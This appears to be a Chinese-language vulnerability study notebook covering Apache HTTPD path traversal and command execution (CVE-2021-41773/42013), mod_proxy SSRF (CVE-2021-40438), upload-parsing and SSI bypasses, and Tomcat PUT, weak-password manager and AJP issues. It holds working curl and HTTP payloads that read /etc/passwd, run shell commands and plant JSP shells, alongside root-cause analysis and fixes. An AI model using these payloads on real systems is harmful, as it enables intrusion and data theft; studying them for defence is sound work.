1 | curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd |
在服务端开启了 cgi 或 cgid 这两个 mod 的情况下,这个路径穿越漏洞将可以执行任意命令:
1 | curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' |
# Apache HTTP Server 2.4.50 路径穿越漏洞
Apache 官方在 2.4.50 版本中对 2.4.49 版本中出现的目录穿越漏洞 CVE-2021-41773 进行了修复,但这个修复是不完整的,CVE-2021-42013 是对补丁的绕过。
攻击者利用这个漏洞,可以读取位于 Apache 服务器 Web 目录以外的其他文件,或者读取 Web 目录中的脚本文件源码,或者在开启了 cgi 或 cgid 的服务器上执行任意命令。
这个漏洞可以影响 Apache HTTP Server 2.4.49 以及 2.4.50 两个版本。
我们使用 CVE-2021-41773 中的 Payload 已经无法成功利用漏洞了,说明 2.4.50 进行了修复。
但我们可以使用 .%%32%65 进行绕过(注意其中的 /icons/ 必须是一个存在且可访问的目录):
1 | curl -v --path-as-is http://your-ip:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd |

在服务端开启了 cgi 或 cgid 这两个 mod 的情况下,这个路径穿越漏洞将可以执行任意命令:
1 | curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' |
# Apache HTTP Server 2.4.48 mod_proxy SSRF 漏洞
2.4.48 及以前的版本中,mod_proxy 模块存在一处逻辑错误导致攻击者可以控制反向代理服务器的地址,进而导致 SSRF 漏洞。
如果我们要部署一个 PHP 运行环境,且将 Apache 作为 Web 应用服务器,那么常用的有三种方法:
- Apache 以 CGI 的形式运行 PHP 脚本
- PHP 以 mod_php 的方式作为 Apache 的一个模块运行
- PHP 以 FPM 的方式运行为独立服务,Apache 使用 mod_proxy_fcgi 模块作为反代服务器将请求代理给 PHP-FPM
第一种方式比较古老,性能较差,基本已经淘汰;第二种方式在 Apache 环境下使用较广,配置最为简单;第三种方法也有较大用户体量,不过 Apache 仅作为一个中间的反代服务器,更多新的用户会选择使用性能更好的 Nginx 替代。
这其中,第三种方法使用的 mod_proxy_fcgi 就是本文主角 mod_proxy 模块的一个子模块。mod_proxy 是 Apache 服务器中用于反代后端服务的一个模块,而它拥有数个不同功能的子模块,分别用于支持不同通信协议的后端,比如常见的有:
- mod_proxy_fcgi 用于反代后端是 fastcgi 协议的服务,比如 php-fpm
- mod_proxy_http 用于反代后端是 http、https 协议的服务
- mod_proxy_uwsgi 用于反代后端是 uwsgi 协议的服务,主要针对 uWSGI
- mod_proxy_ajp 用于反代后端是 ajp 协议的服务,主要针对 Tomcat
- mod_proxy_ftp 用于反代后端是 ftp 协议的服务
复现方法:当目标环境使用了 mod_proxy 做反向代理,比如 ProxyPass / "http://localhost:8000/" ,此时通过请求 http://target/?unix:{'A'*5000}|http://example.com/ 即可向 http://example.com 发送请求,造成一个 SSRF 攻击。
这里面,Apache 代码中犯得错误是在 modules/proxy/proxy_util.c 的 fix_uds_filename 函数:
1 | static void fix_uds_filename(request_rec *r, char **url) |
Apache 在配置反代的后端服务器时,有两种情况:
- 直接使用某个协议反代到某个 IP 和端口,比如
ProxyPass / "http://localhost:8080" - 使用某个协议反代到 unix 套接字,比如
ProxyPass / "unix:/var/run/www.sock|http://localhost:8080/"
第一种情况比较好理解,第二种情况的设计我觉得不是很好,相当于让用户可以使用一个 Apache 自创的写法来配置后端地址。那么这时候就会涉及到 parse 的过程,需要将这种自创的语法转换成能兼容正常 socket 连接的结构,而 fix_uds_filename 函数就是做这个事情的。
使用字符串文法来表示多种含义的方式通常暗藏一些漏洞,比如这里,进入这个 if 语句需要满足三个条件:
r->filename的前 6 个字符等于proxy:r->filename的字符串中含有关键字unix:unix:关键字后的部分含有字符|
当满足这三个条件后,将 unix: 后面的内容进行解析,设置成 uds_path 的值;将字符 | 后面的内容,设置成 rurl 的值。
举个例子,前面介绍中的 ProxyPass / "unix:/var/run/www.sock|http://localhost:8080/" ,在解析完成后, uds_path 的值等于 /var/run/www.sock , rurl 的值等于 http://localhost:8080/ 。
看到这里其实都没有什么问题,那么我们肯定会思考, r->filename 是从哪来的,用户可控吗
这时就要说到另一个函数, proxy_hook_canon_handler ,这个函数用于注册 canon handler,每一个 mod_proxy_xxx 都会注册一个自己的 canon handler,canon handler 会在反代的时候被调用,用于告诉 Apache 主程序它应该把这个请求交给哪个处理方法来处理。
比如,我们看到 mod_proxy_http 的 proxy_http_canon 函数:
1 | static int proxy_http_canon(request_rec *r, char *url) |
第三部分,拼接 proxy: 、scheme、 :// 、host、sport、 / 、path、search,成为一个字符串,赋值给 r->filename 。
这里面,scheme、host、sport 来自于配置文件中配置的 ProxyPass,而 path、search 来自于用户发送的数据包。也就是说, r->filename 中的后半部分是用户可控的。
那我们回看前面的 fix_uds_filename 函数,它在 r->filename 中查找关键字 unix: ,并将这个关键字后面直到 | 的部分作为 unix 套接字地址,而将 | 后面的部分作为反代的后端地址。
我们可以通过请求的 path 或者 search 来控制这两个部分,控制了反代的后端地址,这也就是为什么这里会出现 SSRF 的原因。
这里面有一个问题,那就是 Apache 在正常情况下,因为识别到了 unix 套接字,所以会把用户请求发送给这个本地文件套接字,而不是后端 URL。
我们发送这样一个请求:
1 | GET /?unix:/var/run/test.sock|http://example.com/ HTTP/1.1 |
此时会得到一个 503 错误
找不到 unix 套接字 /var/run/test.sock ,这是当然。
我们不能让他把请求发送到 unix 套接字上,而是发送给我们需要的 | 后面的地址。
在 fix_uds_filename 函数中,unix 套接字的地址来自于下面这两行代码:
1 | char *sockpath = ap_runtime_dir_relative(r->pool, urisock.path); |
如果这里 ap_runtime_dir_relative 函数返回值是 null,则后面获取 uds_path 时将不会使用 unix 套接字地址,而变成普通的 TCP 连接:
那么如何让 ap_runtime_dir_relative 的返回值是 null? ap_runtime_dir_relative 函数最后引用了 apr 库中的 apr_filepath_merge 函数,它的主要作用就是路径的 join,用于处理相对路径、绝对路径、 ../ 连接。
这个函数中,当待 join 的两段路径长度 + 4 大于 APR_PATH_MAX ,也就是 4096 的时候,则函数会返回一个路径过长的状态码,导致最后 unix 套接字的值是 null:
1 | rootlen = strlen(rootpath); |
也就是说,我们只需要在 unix: 与 | 之间传入内容长度大概超过 4092 的字符串,就能构造出 uds_path 为 null 的结果,让 Apache 不再发送请求给 unix 套接字。
( APR_PATH_MAX 是程序宏定义的长度)
1 | GET /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://example.com/ HTTP/1.1 |
在 Apache+PHP 环境下,path 中的 | 被 ap_proxy_canonenc 函数编码成了 %7C:没有 | ,后面也就无法完成 SSRF 利用了。
那么,我们其实可以认为,如果 r->filename 有部分可控,且可控的部分没有被编码(不是 path),这个模块就会受到 SSRF 漏洞的影响。
那么,mod_proxy_http2、mod_proxy_balancer、mod_proxy_wstunnel 等这些模块也会受到影响,而 mod_proxy_uwsgi、mod_proxy_scgi 等模块不受影响。
这个 SSRF 漏洞是否能够 POST?答案是肯定的,理解了原理的同学肯定能明白,我们实际上是控制了反向代理的目标服务器地址。既然是反向代理,那么实际上用户请求的大部分原始数据都会被直接转发给后端,所以,我们只需要发送 POST 请求,即可让执行 POST 的 SSRF
另一个,这个 SSRF 漏洞是否可以打本地的 unix socket?答案是肯定的。原本这个漏洞的第一请求目标就是本地的 unix 套接字,我们使用 4092 个超长 search 绕过了这个限制让他可以打任意远程地址,只要让它回归原本的方法就可以打本地的 unix 套接字了:
打本地 unix 套接字的好处是可以攻击类似于 Docker、Supervisor 这样的本地服务。
最后一个问题,这个 SSRF 漏洞是否可以攻击一些非 HTTP 协议的服务?答案也是肯定的。TCP 是一个数据流,即使我们打出的数据包前面有 HTTP 头,这并不影响后续正常的满足二进制协议的数据流的发送与接收。不过有一个例外情况,如果目标服务有一些特殊的操作,类似于高版本 redis 读取到一些特殊的 HTTP 数据段就断开 TCP 连接这样的操作,那么可能需要进行一些额外绕过了。
Apache 官方对这个漏洞的修复也比较简单,因为用户只能控制 r->filename 的后半部分,而前半部分 proxy:{scheme}://{host}{sport}/ 来自于配置文件,所以最新版改成检查其开头是不是 proxy:unix: ,这一部分用户无法控制。
1 | 总结一下: |
# Apache HTTPD 多后缀解析漏洞
Apache HTTPD 支持一个文件拥有多个后缀,并为不同后缀执行不同的指令。比如,如下配置文件:
1 | AddType text/html .html |
其给 .html 后缀增加了 media-type,值为 text/html ;给 .cn 后缀增加了语言,值为 zh-CN 。此时,如果用户请求文件 index.cn.html ,他将返回一个中文的 html 页面。
以上就是 Apache 多后缀的特性。如果运维人员给 .php 后缀增加了处理器:
1 | AddHandler application/x-httpd-php .php |
那么,在有多个后缀的情况下,只要一个文件含有 .php 后缀的文件即将被识别成 PHP 文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。
访问 http://your-ip/uploadfiles/apache.php.jpeg 即可发现,phpinfo 被执行了,该文件被解析为 php 脚本。
http://your-ip/index.php 中是一个白名单检查文件后缀的上传组件,上传完成后并未重命名。我们可以通过上传文件名为 xxx.php.jpg 或 xxx.php.jpeg 的文件,利用 Apache 解析漏洞进行 getshell。
GET /uploadfiles/aaa.php.jpg
Apache mod_proxy SSRF(CVE-2021-40438)的一点分析和延伸 | 离别歌 (leavesongs.com)
# Apache SSI 远程命令执行漏洞
在测试任意文件上传漏洞的时候,目标服务端可能不允许上传 php 后缀的文件。如果目标服务器开启了 SSI 与 CGI 支持,我们可以上传一个 shtml 文件,并利用 <!--#exec cmd="id" --> 语法执行任意命令。
正常上传 PHP 文件是不允许的,我们可以上传一个 shell.shtml 文件:
1 | <!--#exec cmd="ls" --> |

成功上传,然后访问 shell.shtml,可见命令已成功执行:

# tomcat
# Tomcat PUT 方法任意写文件漏洞
在 Windows 服务器下,将 readonly 参数设置为 false 时,即可通过 PUT 方式创建一个 JSP 文件,并可以执行任意代码。
通过阅读 conf/web.xml 文件,可以发现:
1 | <servlet> |
虽然 Tomcat 对文件后缀有一定检测(不能直接写 jsp),但我们使用一些文件系统的特性(如 Linux 下可用 / )来绕过了限制。
可以结合 Windows 的特性。其一是 NTFS 文件流,其二是文件名的相关限制(如 Windows 中文件名不能以空格结尾)来绕过限制:
payload::
1 | PUT /111.jsp::$DATA HTTP/1.1 |
写入成功
可以上传 jSp 文件 (但不能解析),却不可上传 jsp。 说明 tomcat 对 jsp 是做了一定处理的。那么就考虑是否可以使其处理过程中对文件名的识别存在差异性,前面的流程中 test.jsp/ 识别为非 jsp 文件,而后续保存文件的时候,文件名不接受 / 字符,故而忽略掉。
payload /
1 | PUT /222.jsp/ HTTP/1.1Host: 10.1.1.6:8080User-Agent: JNTASSDNT: 1Connection: close...jsp shell... |
# Tomcat7+ 弱口令 && 后台 getshell 漏洞
Tomcat 支持在后台部署 war 文件,可以直接将 webshell 部署到 web 目录下。其中,欲访问后台,需要对应用户有相应权限。
Tomcat7 + 权限分为:
- manager(后台管理)
- manager-gui 拥有 html 页面权限
- manager-status 拥有查看 status 的权限
- manager-script 拥有 text 接口的权限,和 status 权限
- manager-jmx 拥有 jmx 权限,和 status 权限
- host-manager(虚拟主机管理)
- admin-gui 拥有 html 页面权限
- admin-script 拥有 text 接口权限
在 conf/tomcat-users.xml 文件中配置用户的权限:
1 | <?xml version="1.0" encoding="UTF-8"?> |
可见,用户 tomcat 拥有上述所有权限,密码是 tomcat 。
正常安装的情况下,tomcat8 中默认没有任何用户,且 manager 页面只允许本地 IP 访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。
打开 tomcat 管理页面 http://your-ip:8080/manager/html ,输入弱密码 tomcat:tomcat ,即可访问后台:
上传 war 包即可直接 getshell。
# Aapache Tomcat AJP 文件包含漏洞
由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。
Tomcat Connector 是 Tomcat 与外部连接的通道,它使得 Catalina 能够接收来自外部的请求,传递给对应的 Web 应用程序处理,并返回请求的响应结果。
默认情况下,Tomcat 配置了两个 Connector,它们分别是 HTTP Connector 和 AJP Connector:
HTTP Connector:用于处理 HTTP 协议的请求(HTTP/1.1),默认监听地址为 0.0.0.0:8080
AJP Connector:用于处理 AJP 协议的请求(AJP/1.3),默认监听地址为 0.0.0.0:8009
HTTP Connector 就是用来提供我们经常用到的 HTTP Web 服务。而 AJP Connector,它使用的是 AJP 协议(Apache Jserv Protocol),AJP 协议可以理解为 HTTP 协议的二进制性能优化版本,它能降低 HTTP 请求的处理成本,因此主要在需要集群、反向代理的场景被使用。
对于处在漏洞影响版本范围内的 Tomcat 而言,若其开启 AJP Connector 且攻击者能够访问 AJP Connector 服务端口的情况下,即存在被 Ghostcat 漏洞利用的风险。
注意 Tomcat AJP Connector 默认配置下即为开启状态,且监听在 0.0.0.0:8009 。